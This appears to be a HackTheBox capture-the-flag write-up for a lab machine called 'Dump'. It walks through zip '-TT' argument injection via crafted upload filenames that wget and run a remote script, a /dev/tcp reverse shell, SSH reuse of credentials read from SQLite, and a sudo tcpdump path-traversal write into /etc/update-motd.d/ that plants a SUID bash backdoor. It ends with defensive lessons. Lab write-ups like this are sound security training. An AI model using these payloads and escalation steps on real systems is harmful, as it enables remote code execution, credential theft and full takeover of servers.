Dump - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Dump is a multi-stage privilege escalation challenge centered on a packet-capture management web application. The exploitation chain begins with an argument injection vulnerability in the zip utility, leveraging the -TT flag to achieve remote code execution as www-data. From there, plaintext credentials are extracted from a SQLite database, enabling lateral movement to the fritz user. Finally, an overly-permissive sudo tcpdump rule combined with AppArmor misconfiguration allows arbitrary file writes to /etc/update-motd.d/, where a root-executed MOTD script drops a SUID bash shell for complete system compromise.

TL;DR: zip -TT argument injection (RCE as www-data) → SQLite database credentials (SSH as fritz) → sudo tcpdump arbitrary write via glob bypass into MOTD directory → SUID bash shell execution as root.

Reconnaissance

Port Scanning

nmap -sVsC 10.129.x.x -p-

Results:

22/tcp open  ssh     OpenSSH 8.4p1 Debian 11
80/tcp open  http    Apache 2.4.65 (Debian)

Service Enumeration

HTTP (Port 80):

The web application is titled “How do my packets look like?” — a packet capture management system. Enumeration reveals:

• index.php — User registration and login interface
• upload.php — Accepts .pcap file uploads via POST with fileToUpload parameter
• download.php — Archives and downloads all captures associated with the logged-in user

After registering a test account and uploading a sample .pcap file, the download.php endpoint processes the request by invoking the zip utility to archive all stored captures and serve them to the user.

Vulnerability Assessment

Critical Finding: zip Argument Injection in download.php

The application passes user-controlled filenames directly as arguments to the zip command without proper sanitization. The zip utility (Info-ZIP 3.0) supports several flags that can be chained across multiple arguments:

• -T — test archive integrity post-creation
• -TT cmd — use custom cmd instead of unzip -tqq for testing; cmd is executed via system()

By uploading multiple files with carefully crafted names, an attacker can split a command injection payload across separate arguments, bypassing single-quote escaping applied by the application.

Initial Foothold

Exploitation Path: zip -TT Argument Injection

Step 1: Prepare the Injection Payload

Upload three files with the following names (in order). Each name becomes a separate zip command-line argument:

File 1: test          (a legitimate file to be archived)
File 2: -TT wget -q <LHOST> -O r.sh;bash r.sh;echo
File 3: -T

⚠️ Important: The upload.php endpoint runs basename() on filenames, stripping any path components. Ensure the injected filename contains no forward slashes. Host your reverse shell script at the web root (e.g., http://<LHOST>/r.sh).

Step 2: Create the Remote Shell Script

On your attack machine, create a reverse shell script and serve it via HTTP:

# r.sh - simple reverse shell
#!/bin/bash
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

# Start a simple HTTP server
python3 -m http.server 8000 &

Step 3: Trigger the Injection via download.php

Once the three payloads are uploaded, visit download.php. The application constructs a zip command:

zip 'test' '-TT wget -q <LHOST> -O r.sh;bash r.sh;echo' '-T'

The -TT flag causes zip to execute the injected command:

wget -q <LHOST> -O r.sh   # Downloads the reverse shell
bash r.sh                  # Executes it

Step 4: Verify Code Execution

Set up a listener on your attack machine:

nc -lvnp <LPORT>

Trigger download.php and receive a reverse shell as www-data.

Timing Oracle (Optional Pre-Confirmation):

Before deploying a full reverse shell, confirm the injection with a timing test:

Upload: test, -TT sleep 6;echo, -T
Visit download.php → observe ~6 second delay

Privilege Escalation

Phase 1: Lateral Movement via SQLite Credentials

From the www-data shell, enumerate the web application structure:

www-data$ find /var/www -name "*.sqlite*" -o -name "*.db" 2>/dev/null
/var/www/database/database.sqlite3

Query the users table:

www-data$ sqlite3 /var/www/database/database.sqlite3 'select * from users;'
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1

Obtain the fritz user’s plaintext password. Establish an SSH session:

ssh fritz@<TARGET> -p 22
# Password: Passw0rdH4shingIsforNoobZ!

Retrieve the user flag:

fritz$ cat /home/fritz/user.txt
<redacted>

Phase 2: Privilege Escalation via sudo tcpdump Path Traversal

Check the user’s sudo privileges:

fritz$ sudo -l
User fritz may run the following commands without a password:
  /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<UUID> -F/var/cache/captures/filter.<UUID>

The wildcard * in the -w output path permits path traversal. The goal is to write a malicious MOTD script to /etc/update-motd.d/, which is executed as root on SSH login.

Step 1: Write Initial File via tcpdump

Create the filter directory and file:

fritz$ mkdir -p /var/cache/captures
fritz$ printf 'ip\n' > /var/cache/captures/filter.351ecea1-0311-49de-97d9-f3a56970fae8

Invoke tcpdump with a path traversal to write to /etc/update-motd.d/:

fritz$ sudo /usr/bin/tcpdump -c10 \
  -w/etc/update-motd.d/11111111-1234-1234-1234-111111111111 \
  -Z fritz \
  -F/var/cache/captures/filter.351ecea1-0311-49de-97d9-f3a56970fae8

The -Z fritz flag drops the output file’s ownership to the fritz user (instead of root). Generate 10 packets by pinging the target from another terminal. The file is now created and writable by fritz.

Step 2: Inject MOTD Payload

Overwrite the created file with an executable script that will run as root:

fritz$ cat > /etc/update-motd.d/11111111-1234-1234-1234-111111111111 <<'EOF'
#!/bin/bash
cp /usr/bin/bash /home/fritz/.b
chmod 4755 /home/fritz/.b
EOF

Make the script executable:

fritz$ chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111

Step 3: Trigger MOTD Execution

The PAM module pam_motd executes all scripts in /etc/update-motd.d/ as root during SSH login. Log in again:

ssh fritz@<TARGET>

Upon login, the MOTD script runs as root, creating the SUID bash shell at /home/fritz/.b.

Step 4: Elevate to Root

Use the SUID bash:

fritz$ /home/fritz/.b -p
# uid=1001(fritz) euid=0(root)
root# cat /root/root.txt
<redacted>

Attack Chain Summary

Web App Upload (Register/Login)
         ↓
Upload 3 files with -TT argument injection payloads
         ↓
Trigger download.php → zip executes injected command
         ↓
RCE as www-data (wget + bash reverse shell)
         ↓
Extract SQLite credentials (fritz:Passw0rdH4shingIsforNoobZ!)
         ↓
SSH lateral movement → fritz user
         ↓
Exploit sudo tcpdump with path traversal wildcard (*)
         ↓
Write MOTD script to /etc/update-motd.d/ via -Z ownership drop
         ↓
SSH login triggers pam_motd → SUID bash creation as root
         ↓
SUID bash execution → Complete system compromise (root)

Tools Used

Key Learnings

Techniques Practiced

• Argument injection in command-line utilities — Understanding how multi-argument commands can be exploited when user input is not properly validated
• Zip utility exploitation — Leveraging obscure flags like -TT for code execution
• SQLite forensics — Extracting credentials from application databases
• Sudo rule analysis — Identifying overly-permissive rules with glob patterns
• PAM module exploitation — Abusing login-time script execution for privilege escalation
• AppArmor bypass — Understanding confinement limitations and alternative attack paths
• SUID binary creation — Using elevated privileges to create persistent backdoors

Lessons Learned

1. Never pass unsanitized filenames to shell commands — The zip command, along with many other utilities, interprets command-line arguments. Always use -- to terminate option parsing and validate input rigorously.

2. Wildcard globs in sudo rules are dangerous — A rule like -w/var/cache/captures/*/file can be exploited for path traversal. Restrict paths to explicit, non-glob values.

3. Ownership-dropping flags (like -Z) can be weaponized — When a privileged utility writes files and allows ownership specification, attackers can write to restricted directories while maintaining access.

4. AppArmor profiles may be incomplete — Even if one attack vector (e.g., -z custom command) is blocked, alternative write paths may remain open. Defense in depth is essential.

5. Login-time script execution (PAM) is a root execution context — Any writable script in /etc/update-motd.d/ will execute as root, making it a high-value target for privilege escalation.

6. Plaintext credentials in application databases are a critical risk — Ensure sensitive data is properly hashed or encrypted, even in “internal” databases.

7. Lateral movement often precedes vertical escalation — Breaking into a privileged process (www-data) can yield credentials or access tokens for authenticated users, reducing the attack surface.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>